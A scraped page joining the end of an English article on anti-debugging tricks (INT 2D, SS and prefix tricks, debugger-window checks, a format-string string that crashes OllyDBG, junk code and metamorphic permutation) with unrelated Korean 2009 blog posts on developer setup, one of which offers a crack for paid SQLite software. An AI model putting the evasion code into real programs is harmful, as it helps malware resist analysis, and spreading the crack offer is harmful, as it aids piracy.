   VirtualProtect(pBaseAddr, 4096, // Assume x86 page size
           PAGE_READWRITE, &OldProtect);

   // Erase the header
   ZeroMemory(pBaseAddr, 4096);
}

IA-32 Instruction Exploits

The following techniques take advantage of the problems debuggers have dealing with the IA-32 instructions. Most of these methods are low level techniques that aren't used very often.

Interrupt 2D

The INT 2D instruction can be used as a general purpose debugger detection method, because when executing the instruction, if no debugger is present, an exception will occur. However, if a debugger is present, no exception will occur, and things get interesting based on the debugger you are using. OllyDBG, as shown in the diagram, will actually skip a byte in its disassembly and will cause the analysis to go wrong. Visual Studio 2008's debugger handles the instruction without issues, and as for other debuggers, we would have to test ourselves.

Collapse Copy Code

// The Int2DCheck function will check to see if a debugger
// is attached to the current process. It does this by setting up
// SEH and using the Int 2D instruction which will only cause an
// exception if there is no debugger. Also when used in OllyDBG
// it will skip a byte in the disassembly and will create
// some havoc.
inline bool Int2DCheck()
{
   __try
   {
       __asm
       {
           int 0x2d
           xor eax, eax
           add eax, 2
       }
   }
   __except(EXCEPTION_EXECUTE_HANDLER)
   {
       return false;
   }
  
   return true;
}

Stack Segment

By manipulating the stack segment through the use of push ss and pop ss, we can cause the debugger to execute instructions unwillingly. In the following function, when stepping over the code with any debugger, the mov eax, 9 line will execute, but will not be stepped on by the debugger.

Collapse Copy Code

inline void PushPopSS()
{

   __asm
   {
       push ss
       pop ss
       mov eax, 9 // This line executes but is stepped over
       xor edx, edx // This is where the debugger will step to
   }
}

Instruction Prefixes

The following technique takes advantage of the way debuggers handle instruction prefixes. When stepping over this code in OllyDBG or in Visual Studio 2008, we will reach the first emit and immediately be taken to the end of the __try block. What happens is that the debugger essentially skips over the prefix and handles the INT 1. When running this code without a debugger, there will be an exception that SEH will catch and the program will continue along.

Collapse Copy Code

// The IsDbgPresentPrefixCheck works in at least two debuggers
// OllyDBG and VS 2008, by utilizing the way the debuggers handle
// prefixes we can determine their presence. Specifically if this code
// is ran under a debugger it will simply be stepped over;
// however, if there is no debugger SEH will fire :D
inline bool IsDbgPresentPrefixCheck()
{
   __try
   {
       __asm __emit 0xF3 // 0xF3 0x64 disassembles as PREFIX REP:
       __asm __emit 0x64
       __asm __emit 0xF1 // One byte INT 1
   }
   __except(EXCEPTION_EXECUTE_HANDLER)
   {
       return false;
   }

   return true;
}

OllyDBG Specific

The following techniques can be used specifically to attack OllyDBG, which is probably the most used debugging tool on Windows at the moment. There are more techniques used to detect OllyDBG than what I show here, and probably for every technique discussed in this article, there is a plug-in for OllyDBG that fixes the issue. However, for inexperienced reverse engineers, these tricks can still work.

FindWindow

Using the Win32 API function FindWindow, we can check for the existence of OllyDBG's window class, OLLYDBG, and if it does exist, then most likely, OllyDBG is open and waiting to attach to a process, or is actively debugging the current process or another process.

Collapse Copy Code

HANDLE hOlly = FindWindow(TEXT("OLLYDBG"), NULL);

if(hOlly)
   ExitProcess(0);

OutputDebugString Exploit

In the world of exploits, there are many ways to exploit a program's security measures or lack thereof, and OllyDBG does have one. It's a format string exploit that has been patched by various custom versions of OllyDBG, but exists in the normal unmodified version which is the prevalent version of OllyDBG. The following code will crash OllyDBG if it is currently attached to the process, and is a very powerful technique.

Collapse Copy Code

OutputDebugString( TEXT("%s%s%s%s%s%s%s%s%s%s%s")
               TEXT("%s%s%s%s%s%s%s%s%s%s%s%s%s")
               TEXT("%s%s%s%s%s%s%s%s%s%s%s%s%s")
               TEXT("%s%s%s%s%s%s%s%s%s%s%s%s%s") );

WinDBG Specific

The following technique can be used to detect if WinDBG is running on the host machine. There hasn't been much research done on detecting WinDBG, because reverse engineers tend to favor other debuggers and analysis tools over WinDBG.

FindWindow

This is exactly the same technique as shown above in the OllyDBG example, except with a different window class and works the same way.

Collapse Copy Code

HANDLE hWinDbg = FindWindow(TEXT("WinDbgFrameClass"), NULL);

if(hWinDbg)
   ExitProcess(0);

Other Techniques

The following techniques didn't really fit into the other categories I covered in the previous section, and since they shared that in common, I'm putting them all into their own unique section.

Junk Code

Junk code is an aptly named technique of code obfuscation, and as its name suggests, it utilizes code that is junk or not needed to confuse a reverse engineer as to what the current code is actually trying to accomplish. When the junk code that is inserted into a routine is convincing and successfully manages to confuse a reverse engineer, then this technique can be rather effective; however, there is a performance penalty for utilizing this technique because the more instructions a routine or function contains, the longer the function will take to complete. Another issue utilizing junk code is that for memory and stack manipulation operations like push, pop, and mov ptr [], there is a decent chance for stack or memory corruption; therefore, these instructions are either placed and utilized carefully, or not used at all. Here is an example of a routine that adds two numbers and subtracts one, but has junk code added in.

Collapse Copy Code

#define JUNK_CODE_ONE        \
   __asm{push eax}            \
   __asm{xor eax, eax}        \
   __asm{setpo al}            \
   __asm{push edx}            \
   __asm{xor edx, eax}        \
   __asm{sal edx, 2}        \
   __asm{xchg eax, edx}    \
   __asm{pop edx}            \
   __asm{or eax, ecx}        \
   __asm{pop eax}

inline int AddSubOne(int One, int Two)
{
   JUNK_CODE_ONE
   return ( (One + Two) - 1 );
}

As we can see, this routine does a lot of nothing, and only the final two instructions actually accomplish the goal of the function.

Native Code Permutations

Permutations is defined as "often major or fundamental change (as in character or condition) based primarily on rearrangement of existent elements", which when referring to the world of code means different ways of accomplishing the same goal or task ("permutation"). For those unfamiliar with the concept of permutation, I'm going to explain it first with numbers, and then we'll explore the concept with code.

Permutations of the set {1,5,9} would be:

Collapse Copy Code

When we do permutation of an item or object, we're simply trying to represent the same information or actions in a different way. Now, we'll do the permutation of the mov m32, imm instruction:

Collapse Copy Code

Original:
mov [mem addr], 7 (mov m32, imm)

Permutation 1:
push 7
pop [mem addr]

Permutation 2:
mov eax, mem addr
mov [eax], 7

Permutation 3:
mov edi, mem addr
mov eax, 7
stosd

Permutation 4:
push mem addr
pop edi
push 7
pop eax
stosd

And on....

As we can imagine, this can be a very powerful and flexible method of obfuscation and confusion, especially considering that a lot of people are simply following tutorials when reversing, and even small changes will completely prevent them from reversing your application. Then, when this concept is applied to an executable at runtime, and if at every run the program is permutated and morphed, we can achieve metamorphic code which, along with virtual machines, is the cream of the crop of anti-reverse engineering techniques. However, this technique is very hard to implement correctly, considering an excellent disassembly engine is required, and for those who are familiar with the hell of creating an accurate disassembler, this is quite a task.

Citations

"Creating Guard Pages". Microsoft Developer Network. Microsoft. 19 Oct 2008.
Falliere, Nicolas. "Windows Anti-Debug Reference". SecurityFocus. 9 Nov 2008.
Intel Corporation, "Intel® 64 and IA-32 Architectures Software Developer's Manual Volume 3B: System Programming Guide", Intel Corporation, 2008.
Microsoft Corporation, "BlockInput Function". Microsoft Developer Network. Microsoft Corporation. 22 Oct 2008.
Microsoft Corporation, "How To Use the SeDebugPrivilege to Acquire Any Process Handle". Microsoft Help and Support. Microsoft Corporation. 21 Oct 2008.OpenRCE Anti Reverse Engineering Techniques Database". OpenRCE.org. 9 Nov 2008.
OpenRCE, "
"Permutation". Merriam-Webster Online Dictionary. Merriam-Webster Online. 1 November 2008.
Peter, Ferrie. Home Page of Peter Ferrie. 26 Oct 2008.

OnLine Navigation v0.3

2009-04-06T22:47:00.001-07:00

OnLine Navigation.exe

다음지도를 추가 했습니다

완벽하게 네이버를 통해서 네비검색만 연동할려고 했는데 다음지도의 좌표가 다음만의 지도 좌표여서 불가능하네요 ㅡㅡ
웹을 통해서 API 쓰면 되긴 하지만 전 웹쪽은 안 하고 할려고해서 ㅋ
혹시나 필요하면 더 개발하겠습니다. 우선은 여기까지 ㅋ 파란이나 구글도 추가할려고 했지만 별로 의미가 없더군요
ㅃㅃ~~~

티스토리에 구글 애드센스 코드 넣기

2009-03-29T23:39:00.000-07:00

내 코드는
< script type="text/javascript">< !--
google_ad_client = "pub-1780748909761496";
/* Tistory2, 작성됨 09. 3. 25 */
google_ad_slot = "2707362159";
google_ad_width = 468;
google_ad_height = 60;
//-->
< /script>
< script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
< /script>

저 처럼 본문 밑에 넣는 방법 입니다 ^^
(관리자모드->스킨->HTML/CSS 편집)
［##_article_rep_desc_##]＜/div＞바로 밑에 코드 넣기

2009-03-25T23:22:00.000-07:00

SQLite GUI 툴중에 가장 좋은거

SQLite Maestro Setup.exe

SQLite GUI 툴을 구하게 된 이유는 이번에 개발 프로젝트를 진행하는데 약간의 DB가 필요한데 TEXT 파일로 하려다가 우연히 SQLite를 알게되어서 개발은 Linux 지만 DB 설계 자체를 편하게 하기 위해서 GUI를 구했다 ㅍ
SQLite의 강점은 메모리 DB라는 것이 있다 메모리 자체에 DB를 넣어서 겁나게 빠른 속도를 자랑한다 ㅋ
단!! DB가 커질수록 메모리를 많이 먹는건 당연하다 ㅡㅡ;
또 한가지 단점은 아직은 트렌잭션 쿼리를 사용 못하는거 같다.
또 단점은 Foreign keys에 대해서 100% 지원은 못한다고 한다. 뭐 그래도 작은 DB를 쓸때는 최상인거 같다
아참참!! 이건 Server 기능이 없다 Listen을 하지 않기 때문에 원격접속은 안된다 ㅋ
그래서 임베디드쪽 분야에서 많이 쓰이는거 같다 ^^

Firefox 플러그인 형식인 SQLite Manager, SQLiteExpertPersonal, SQLiteExpertProfessional, SQLiteSpy,
SQLiteStudio, PlaneDisaster.Net, SQLite2009Pro, Osenxpsuite2009, SQLite Maestro, SQLiteman를 모두 비교해 봤다 ㅡㅡ;

결과는 SQLite Maestro 가 가장 좋았다. 유료버전이지만 ^^;
무료버전으로는 SQLite2009Pro가 자장 좋다. 그런데 SQL Query 를 쓰는 창에서 방향키가 안되는 버그가 있다 ㅡㅡ;
그래서 최종 결과는 SQLite Maestro 이다 ㅋ
저 위 사진은 8.5.0.1 버전이다(첨부파일). 과자가 많이 뿌려지진 않아서 과자 찾기가 좀 힘들었다
과자가 필요한 사람은 댓글에 이메일 주소를 남겨달라 ㅋㅋ

P.S SQLite2009Pro는 메모리 DB를 쓰는 기능이 그냥 지원된다. SQLite Maestro는 대충 찾아봤을 때는 안 보였다.

나의 하드에 보안 영역(EISA 구성)을 만들어 보자

2009-03-24T16:53:00.000-07:00

MBR이란?

하드디스크의 맨 앞에 기록되어 있는 시스템 가동영역 즉 Master Boot Recovery 입니다.

PC 에 전원을 넣으면 먼저 0번 순위의 하드 디스크의 0번 파티션, 즉 Master로 잡혀있는 하드 디스크의 첫번째 파티션이 생성됨과 동시에 만들어 지게 되고 이 MBR의 프로그램은 그 하드 디스크의 Partition Table의 정보를 읽어 또다시 0번 순위의 Boot Sector, 즉 Master 하드 디스크의 분할의 맨 앞에 있는 파티션을 읽어 이 섹터의 프로그램에 의해 PC가 가동되게 됩니다.

따라서 MBR의 정보가 파괴되면 PC는 가동할 수 없죠. (모든 파티션을 날리고 초기화 시키면 MBR도 사라집니다.)

설명이 길어졌는데요.

이제 본격적인 보안 영역을 만들어 보기로 하겠습니다.

EISA 구성이란?
하드의 보안 영역으로서 OS상에서 파티션의 삭제 및 포맷은 물론이고 수정 또한 불가능 하기 때문에 보통 중요한 데이터의 저장 및 백업 공간으로 널리 활용하고 있는 보편화 된 파티션입니다.
요즘 나오는 거의 대부분의 D2D 툴이 이 영역을 활용하고 있죠.
LG Smart Recovery 역시 이 영역을 사용하고 있습니다.
그럼 첨부된 MBRWizard를 사용해 간단한 방법으로 직접 만들어 보겠습니다.
OS상에서 건드릴 수 없는 보안 영역인 EISA 구성을 OS상에서 제어해 줄 수 있는 하드 테이블 편집기 입니다.

MBRWizard 사용법 링크 : http://offree.net/981

사용 플랫폼 환경 : Windows (32-bit) 9X, 2K, XP, VISTA

EISA 구성은 그림처럼 OS상에서 건드릴 수 없게 되어 있는 모습 입니다.

CMD (VISTA 사용자의 경우 관리자 권한으로 실행) - MBRWizard 실행

MBRWizard로 보는 하드의 테이블 구조입니다.

Disk=0 : Master하드의 Disk 번호

Type/Name : 파티션의 테이블 구조이며 07은 Windows의 NTFS Format, 12는 EISA Format

Active : 동적 활성화 여부

Start Sector : 파티션의 시작 섹터

Sectors : 파티션의 섹터 수

DL : 파티션의 볼륨레이블

Vol Label : 파티션의 볼륨명

대략 위와 같은 구조로 되어 있습니다.

물론 파티션 테이블 구조는 07과 12만 있지는 않습니다.

만일 여기서 2번 Part의 테이블을 EISA로 구성하고 싶다면

그림과 같이 해주고 재부팅 하면 보안 영역으로 윈도우 상에 표시 되지 않습니다.

보이는 것 처럼 EISA 구성으로 표시되고 삭제 및 수정이 불가능 한 것을 알 수 있습니다.

이를 응용하면 보다 퀄리티한 자신만의 백업 및 복구 영역을 만들 수 있죠.

CentOS 5.2에서 JAVA 업데이트

2009-03-19T19:37:00.000-07:00

ㅇ 기존 자바 1.4.2 버전 삭제

먼저 X-Windows 시작에서 -> 프로그램 추가/삭제를 클릭한다.
java 로 검색 후 삭제

ㅇ 자바 1.5 이상버전으로 업 그레이드 후 JAVA PATH 잡기

http://www.java.com 에서 다운로드
chmod 755 ./jre-6u12-linux-i586-rpm.bin
./jre-6u12-linux-i586-rpm.bin
rpm -ivh ./jre-6u12-linux-i586.rpm

export JAVA_HOME="/usr/java/jre1.6.0_12"
export PATH="/usr/java/jre1.6.0_12/bin:$PATH"

Eclipes 설치 디렉토리에 JAVA 복사
[root@localhost eclipse]# cp -rf /usr/java/jre1.6.0_12/ ./jre

CentOS 5.2에서 X Windows 해상도 변경 및 화면 회전(피봇)

2009-03-19T16:44:00.000-07:00

[root@localhost ~]# system-config-display

탭메뉴(하드웨어(H)) -> 모니터 유형을 최신으로 바꿔준 후
탭메뉴(설정(S)) -> 해상도에서 원하는 해상도로 변경 후 확인

X-Windows에서 시스템-> 로그아웃 클릭

피봇 기능 활성화
vi /etc/X11/xorg.conf

Session "Device" 항목에 추가
Option "RandRRotation" "on"

CentOS 5.2에서 Eclipse 설치하기

2009-03-19T01:43:00.000-07:00

EasyEclipse
http://nchc.dl.sourceforge.net/sourceforge/easyeclipse/easyeclipse-cplusplus-1.3.1.1.tar.gz

위 파일을 다운로드 후에
mv -f ./easyeclipse-cplusplus-1.3.1.1 /usr/local/eclipse

SubClipse
http://jaist.dl.sourceforge.net/sourceforge/easyeclipse/easy-subclipse-1.2.4.tar.gz

위 파일을 다운로드 후에
/usr/local/eclipse 폴더에 덮어 씌우기

Eclipse 업데이트 하기
Eclipse 메뉴에서 Help ->Software Updates->Find and Insall... 클릭
Search for new features to install 선택 후 Next> 클릭
New Remote Site... 클릭 후
Name: 은 Eclipse Update Site로 적고 URL: 은

http://download.eclipse.org/callisto/releases/ 적고 OK 클릭

Finish 클릭 후 Update Manager가 실행됨
[Korea, Republic Of} Daum ~~~ 클릭
Update에서 Eclipse Update Site 왼쪽에 삼각형 모형이 생김
Update할 프로그램 선택 후 Finish 클릭시 업데이트가 됨

참조 사이트
http://blog.naver.com/fstory97/70034172413
http://blog.naver.com/wono77?Redirect=Log&logNo=140055354138
http://blog.bagesoft.com/890

!!중요!!
꼭 저장(CTRL+S)에 빌드(CTRL+B)을 실행하자

Xming으로 Windows에서 Xwindow를 원격접속하기

2009-03-18T23:34:00.000-07:00

혹시나 Windows 원격 접속을 해 보신 적이 있나요?

MicroSoft사의 WindowsXP에서는 Windows 원격 데스크탑 접속을 할 수 있습니다. 서버로 사용하는 컴퓨터에 원격 접속 설정을 하면 학교 연구실에 있는 컴퓨터를 계속 켜고 퇴근한 후에 집에서 노트북으로 학교 연구실 컴퓨터에 접속해서 원격으로 작업을 할 수 있는 장점이 있습니다.

Window에서는 원격으로 Windows를 연결하여 원격 작업을 할 수 있습니다.

그렇다만 Linux 컴퓨터는 Xwindow가 설치되어 있는데 Windows에서 Linux컴퓨터의 Xwindow를 원격으로 실행 시킬까요?

여러가지 방법 중에서 VNC를 사용하는 방법이 있지만, VNC demon을 실행시키지 않으면 Windows에서 Linux컴퓨터의 Xwindow 실행시킬수 없습니다.
여기서는 Windows에서 Xming을 설치한 다음 Xming을 이용하여 쉽게 Linux컴퓨터의 Xwindow를 원격으로 실행하는 방법을 알려드리겠습니다.

※ Xming이란?
Wikipedia : Xming
배포사이트 : http://www.straightrunning.com/XmingNotes/
Xming는 Windows용 X Server입니다.
Microsoft사의 Windows에서 Xwindow용 프로그램을 출력할 수 있도록 해주는 화면 출력 서버입니다.
Microsoft사의 Windows에서 Linux 컴퓨터안의 X Window 프로그램을 화면에 출력할 수 있는 서버인 Xming을 설치하면 리눅스 프로그램도 Microsoft사의 Windows에서 실행 할 수 있습니다.
Windows에서 리눅스 프로그램을 실행하는 것처럼 보이지만, 실제 실행은 리눅스 컴퓨터에서 하고, 다만 X Server는 프로그램에서 전송하는 화면을 출력하고, 사용자의 키보드나 마우스와 같은 입력을 프로그램 쪽으로 전송해 주는 역할을 합니다.

Xming 설치 및 실행

http://sourceforge.net/projects/xming
Xming 설치.
Xming-fonts 설치.

여기서 Test한 환경은
Windows XP와 CentOS 5입니다.

1. 우선 XLaunch를 띄웁니다.

2. Display settings에서 One window without titlebar를 선택합니다.

3. 데스크탑에서 Xwindow를 실행시킬려면 Start a program을 선택합니다.

4. 여기서 Xwindow환경을 실행할때에 Gnome를 실행하려면 Start Program에서 gnome-session을 넣고 KDE를 실행하려면 startkde를 넣으시면 됩니다.
원격접속할때에는 Run Remote에서 Using Putty를 선택하여 IP와 ID, Password를 넣으시면 됩니다.

5. Clipboard를 원격접속하는 곳에서 쓸려면 선택합니다.

6. 이제 셋팅이 끝났습니다.

결과 화면

ps1. Xmanager같은 비싼 프로그램이 한글지원도 편하게 되어서 사용하기에 좋긴 하지만, 학생이고 오픈소스로 공개된 Xming을 오픈소스 프로그램인 iPutty에 연결해 씁니다. 있을 것은 다 있는 오픈소스 프로그램들이라서 굳이 불법으로 쓸 필요는 없으니깐요.
ps2. Xming때문에 학교 안나오고 집에서 작업 한 후에 교수님에게 작업한 결과물을 보여주면서 학교는 나왔습니다 하면서 땡땡이 칠 수 있는 장점도 있습니다!

MinGW + Eclipse 를 이용한 Windows 개발 환경 구현

2009-03-18T21:14:00.000-07:00

어떻게 첫번째 포스트가 개발 환경 구현이 되었습니다 ^^

이것이 필요 했던 이유는.. 저또한 그랬지만, 어디선가 들리는 불법 다운로드의 유혹이 다가오는 ^^

요즘들어 라이센스 문제 때문에 상용버전 쓰기가 은근히 꺼려 지더군요.

(그렇다고 다 포기한건 아니지만..)

그 이유도 있었지만, visual studio .net 2008을 쓰면서 느꼈던건 너무 무겁다는 거였구요.

처음 실행부터 버벅 거림이 보여 새로운 툴을 찾게 되었습니다.

그러다 걸린것이 Eclipse 와 MinGW 를 이용한 환경구축 이었습니다.

첫페이지를 이걸로 하겠습니다. 어쩌면 저와 같은 생각을 가지신 분들도 있을거 같아 ^^

1. MinGW 설치

Download -- http://www.mingw.org/

(Downloads 섹션내의 downloads 부분을 보면 "sourceforge file Release" 부분을 클릭하면 됩니다)

다운로드가 완료되면 136KB 정도의 작은 실행화일이 있습니다.(인스톨러 화일로 설치시 다운로드되면서 설치됩니다.)

더블클릭하면 설치가 진행됩니다.

MinGW 설치과정

1.NEXT 를 눌러 진행합니다.

2.다운로드와 설치를 같이 진행함으로 표시합니다. NEXT

3.MinGW 버전을 고르는 곳입니다 Current 를 선택하고 NEXT

4. 설치할 컴파일러를 설정하는 곳입니다.

- 기본적으로 위의 체크를 하시면 됩니다. 그리고 화면에는 잘려있지만,

(중요!!) MinGW Make는 설치 하지 않습니다.(JAVA 는 필요하시면 설치를..)

5. MinGW 설치할 폴더를 선택 해주면 됩니다.

그리고 이 폴더를 잘 기억해 두세요.^^

이제 다운로드를 받으면서 설치를 합니다.

2. MinGW Debugger 설치

- 1번 설치 과정에서는 디버거 설치가 되어 있지 않습니다.

다운로드 url -- http://sourceforge.net/project/showfiles.php?group_id=2435

위 홈페이지에 접속하면 MingGW 관련 화일들을 다운로드 할 수 있습니다.

위 홈페이지에서 아래 두가지 화일을 다운 받아야 합니다.

1. 홈페이지의 File Release 부분에서 GNU Source-Level Debugger 탭에

Latest Release Candidate:GDB 6.8-3 부분의 "gdb-6.8-mingw-3.tar.bz2" 파일을 다운로드 합니다.

2. 좀더 아래쪽에 보면 MSYS 관련 부분이 있습니다. MSYS Base System 부분 아래쪽에

Current Release:msys-1.0.10 탭이 있습니다. (이 부분이 "+"로 접혀 있으면 "+" 를 클릭하세요)

MSYS-1.0.10.exe 를 다운 받으세요

3. 기본적인 MinGW 환경을 위한 설치 화일은 모두 받은것입니다...

위에서 받은 gdb-6.8-mingw-3.tar.bz2 파일을 (알집으로 풀면됩니다) 압축 해제 합니다.

그럼 또하나의 압축 화일이 나오는데 다시 압축해제 하세요..

보시면 몇가지 폴더가 나오는데 MinGW 설치 된 폴더 와 비슷한 구조입니다.

압축해제된 파일을 MingGW 가 설치된 해당 폴더에 복사해 넣어 주세요(덮어 쓰기 하세요 ^^)

이제 디버거 까지 모양새를 갖췄습니다.

3. MSYS 설치 (Minimal System)

- 디버거 설치시 받았던 MSYS-1.0.10.exe 화일을 더블 클릭합니다.

1.설치할 폴더를 정해줍니다.

2. 이 화면은 Windows 시작 버튼 의 응용프로그램 폴더에 저장 하려고 하는겁니다.

MinGW 와 같이 두는게 좋겠죠?

3. 설치끝부분에 CMD 창이 실행 되면서 위와 같은 그림이 나옵니다.

질문을 하는데 첫번째 질문이 post install 을 하겠느냐는 것이죠? 당연히 y 를 눌러 줍니다.

두번째 질문은 MinGW 가 설치 되었느냐는 것인데 이것도 y 를 눌러 줍니다.

마지막 질문은 MinGW가 설치된 폴더를 물어 봅니다. 화면에 보는데로 MingGW 가 설치된 폴더를 직접 작성해줍니다.

전 c:/MinGW 이므로 화면 처럼 입력 했습니다(주의!!) 폴더 구분 표시자가 "\" 가 아닌 "/" 입니다.

이것으로 MSYS까지 설정을 마쳤습니다.

4. MinGW 와 MSYS 를 환경변수 PATH 에 경로 저장하기

- 이 과정은 MinGW 와 MSYS 각각의 실행화일 들이 저장 되어 있는 각각의 bin 폴더를 억세스 할 수 있도록

윈도우즈 PATH 환경변수에 경로를 기억 시키는 작업입니다.

1. 바탕화면의 내 컴퓨터를 마우스 우측 버튼을 클릭해서 속성을 선택합니다.

2. 속성창이 나오면 고급 탭을 누릅니다.

3.환경변수를 클릭해서 들어갑니다.

4. 환경변수 창입니다 . 시스템변수를 잘 보면 변수 부분에 PATH 를 찾아서 선택한다음 편집을 누릅니다.

값 부분에 위 그림과 같이 MinGW\bin 폴더와 msys\bin 폴더를 추가로 입력해 주었습니다.

패스 입력시 각각의 폴더 는 ";"로 구분합니다.

즉 저같은 경우는 "C:\MinGW\bin;C:\msys\1.0\bin;" 이렇게 입력했습니다.

아 만약 패스 입력하기전 PATH 의 값부분의 끝값에 ";" 이 없을수도 있습니다. 만약 없다면

";C:\MinGW\bin;C:\msys\1.0\bin;" 이렇게 입력해 주셔야 합니다.

입력이 끝났으면 확인을 세번 눌러서 창을 닫아 주세요 ^^ 여기까지 MinGW 설치가 완전히 끝났습니다.

공짜라 시키는 일도 많군요 ^^ 이제 설치가 제대로 되었는지 확인해 보죠 ^^

5. MinGW 테스트

- 윈도우즈 시작 -> 실행을 선택해서 다이얼로그가 나오면 cmd 라고 입력하고 엔터를 누르면

위와 같은 도스창이 나옵니다.

여기서

>make 입력후 엔터

>gcc --version 입력후 엔터

결과가 위 화면과 같다면 설치가 완료 된것입니다.

혹 내부 명령어가 아닙니다와 같은 메세지가 나온다면, 패스 지정이 잘못 된것이니 4번 과정을 차근히 보시면서

다시 설정해 주세요 ^^

이제 구슬이 서말이라도 꿰어야 보배 라고 이렇듯 준비된 베이스를 멋지게 이용할수 있는 무료 IDE 프로그램인

Eclipse c/C++ 버전을 설치 하도록 하겠습니다.

6. Eclipse 설치

<중요!!> - Eclipse 는 java 기반 어플리케이션으로 jre, jdk 등을 필요로 합니다

java 로 개발 하지 않으신다면, jre(java runtime) 만 설치 하시면 됩니다.

jre 설치 주소 -- http://www.java.com/en/download/windows_automatic.jsp

이동한 다음 파란 단추 누르면 설치 화면 나옵니다.

jre 또는 jdk 가 이미 설치 되어 있거나 설치 완료 했다면, eclipse 를 다운로드 받으로 갑니다.

eclipse 다운로드 링크 -- http://www.eclipse.org/downloads/

사이트 이동하면 아래의 그림과 같을것입니다.

약간 색깔이 틀린부분 Eclipse IDE for C/C++ Developers -Windows 버전 우측의 Windows 를 클릭해서 다운로드 하세요.

원래 eclipse 에 CDT 를 따로이 설치 되야 하는걸 성격 좋으신분들이 다 마무리 해놓은 버전입니다.

따로 설치 화일이 아닌 압축화일이므로 압축화일을 적당한곳에 풀어서 바로 사용하면 됩니다.

C/C++ 에 최적화 되어 있습니다.

따로 수정 해야 될건 없습니다.

단지 Windows 관련 프로그래밍을 할때는 아래의 사항을 준수해야 합니다.

프로젝트를 생성하고 난후 (ex)First_prj 란 프로젝트를 만들었을때

project 메뉴의 Properties 를 클릭해서 아래의 사항을 추가해 주어야 합니다.

1. Win32 어플리케이션 프로젝트를 하려고자 할때.

Properties 의 트리메뉴에 C/C++Build 에 settings 를 선택하면 우측에 아래의 그림이 나옵니다.

여기서 MinGW C++ Linker 를 선택해서 아래 그림과 같이 Miscellaneous 를 선택해서 우측 Linker flags 란에

-mwindows 를 추가해줍니다.

추가된 사진

완료 했다면 Apply 후 OK 를 눌러 주세요 ..

이상과 같이 설치 완료 했다면 윈도우즈 기반 프로그램 실행을 위한 개발툴 설정 까지 마쳤습니다.

다른 분들의 글들에는 Mingw32-make.exe 화일을 make.exe 로 복사해서 사용하라고 해 놓았습니다.

저도 그래서 처음 이 글에 그렇게 했었는데. MSYS 를 따로 설정 했기 때문에 , 그 부분은 필요가 없어졌습니다.

3. TEST

이제 정상적으로 작동하는지 테스트를 해봐야 겠군요.

위에 링크 되어 있는 화일 test.cpp 화일을 적당한 곳에 카피해 둡니다.

eclipse 를 실행시켜

File -> New -> C++project 를 선택해서 프로젝트를 하나 만듭니다. (폴더는 알아서 ..)

테스트 하려고 하는 test.cpp 화일의 코드는 그냥 윈도우 하나만 만들어 내는 프로그램입니다.

그러니 win32 환경으로 컴파일이 되야 하므로 위 설정중 6-1 과정을 선택해줍니다.

준비가 되었으면 cpp 화일을 하나 만들어야 겠습니다.

Project Explorer 에서 방금 만들어진 프로젝트에 우클릭해서 New->Csource file 을 만듭니다.

이때 확장자 .cpp 까지 넣어주세요 ex)main.cpp

test.cpp 화일을 열어 내용을 복사후 위에서 방금 생성한 cpp 화일에 붙어 넣기 합니다.

File->Save all 을 선택합니다.

이제 컴파일만 남았군요.

project 메뉴의 Build all 을 클릭해서 컴파일을 합니다. 에러가 없으면 통과

그리고 Run 메뉴의 run 을 선택해서 프로그램을 실행합니다.

아무내용도 없는 창이 하나 만들어 졌나요?

축하합니다. 설치가 완료 되었습니다.

ps: win32 어플리케이션을 만들려면 위 6-1 과정을 꼭 해줘야 합니다. 아니면 군데 군데

"undefined refrence" 와 같은 에러를 토해냅니다 .. 저도 이과정에서 삽질을 좀 했었습니다 ^^.

또 수정 했는데도 위와 같은 에러가 계속되면 File-> save all 또는 이클립스를 종료후 다시 시작하면 됩니다.

제일 좋은 방법은 프로젝트 생성시 프로젝트 명을 눌러 next 를 클릭하면

"select configuration" 창이 나오는데 여기서 "Advanced settings.." 를 클릭해서

6-1과정으로 바꿔 주시면 됩니다. 아울러 Save all 도 해주셔야 합니다.

조금 번거롭죠? ^^

쓰다 보니 사진도 많이 들어 가고 글도 많이 길어 졌습니다. 자세히 쓴다고 썼지만, 뭔가 이해가 안가는 부분도 있을것입니다.

혹여 이해가 안가신다면 댓글 달아 주시고..

이 다음 글은 EditPlus 에 MinGW 컴파일러를 설정하는 방법에 대해 알아 보겠습니다.

PS2 : 현재 MySQL 을 작업 DB 로 설정 하기 위해 안간힘을 쓰고 있습니다. 그러다 보니.. mingw32-make.exe 이 화일이 필요해지게 되더군요. mingw 설치 프로그램을 다시 실행 시키면, 현재 설치가 되어있다면서 추가 설치를 할수 있습니다.

여기서 MinGW make 를 체크하셔서 설치 해 주세요 ^^. 데이터 작업을 하지 않는 분이라면 안해도 됩니다.

앞으로 MySQL 과의 연동 부분도 다룰 생각입니다.

[출처] MinGW + Eclipse 를 이용한 Windows 개발 환경 구현 (First C++) |작성자 여니아빠

15Day Study

2009-03-18T19:36:00.000-07:00

15Day Study
[[[[[세마포어, 공유 메모리, 메시지 대기열 IPC(Inter=Process Communication)]]]]]

세마포어의 정의
가장 간단한 세마포어는 오직 0과 1만의 값만 받아들이는 변수, 바이너리 세마포어
다양한 양의 값을 받아들이는 세마포어는 일반 세마포어

P와 V의 정의는 간단하다. 세마포어 변수 sv가 있다고 하자
P(sv) : sv가 0보다 크면 sv를 감소시킨다. sv가 0이라고 하면 이 프로세스의 실행을 일시 중단한다( -1)
V(sv) : 다른 프로세스가 sv를 가르켰을 때 일시 중단되어 있다면, 이 프로세스의 실행을 재개시킨다. sv를 기다리며 일시 중단되어 있는 프로세스가 없다면 sv를 증가시킨다( +1)

#include < sys/types.h>
#include < sys/ipc.h>
#include < sys/sem.h>

새로운 세마포러를 만들거나 기존 세마포어의 세마포어 키를 반환
int semget(key_t key, int num_sems, int sem_flags);

세마포어의 값을 변경
int semop(int sem_id, struct sembuf *sem_ops, size-t num_sem_ops);

세마포어 정보를 직접 제어
int semctl(int sem_id, int sem_num, int command, ...);
command 맴버: SETVAL(세마포어 초기화), IPC_RMID(세마포어 식별자 삭제)

공유메모리(shared memory)는 세 가지 IPC 기능 중에서 두번째임

#include < sys/types.h>
#include < sys/ipc.h>
#include < sys/shm.h>

공유메모리 할당하기
int shmget(key_t key, size_t size, int shmflg);
shmflg를 통해서 읽고쓰기 가능 및 읽기전용에 대한 권한 설정
반환값: 실패 -1, 성공 0 이상

처음 공유 메모리 세그먼트를 만들고 쓸 수 없기 때문에 프로세스의 주소 공간에 공유메모리 연결
void *shmat(int shm_id, const void *shm_addr, int shmflg);
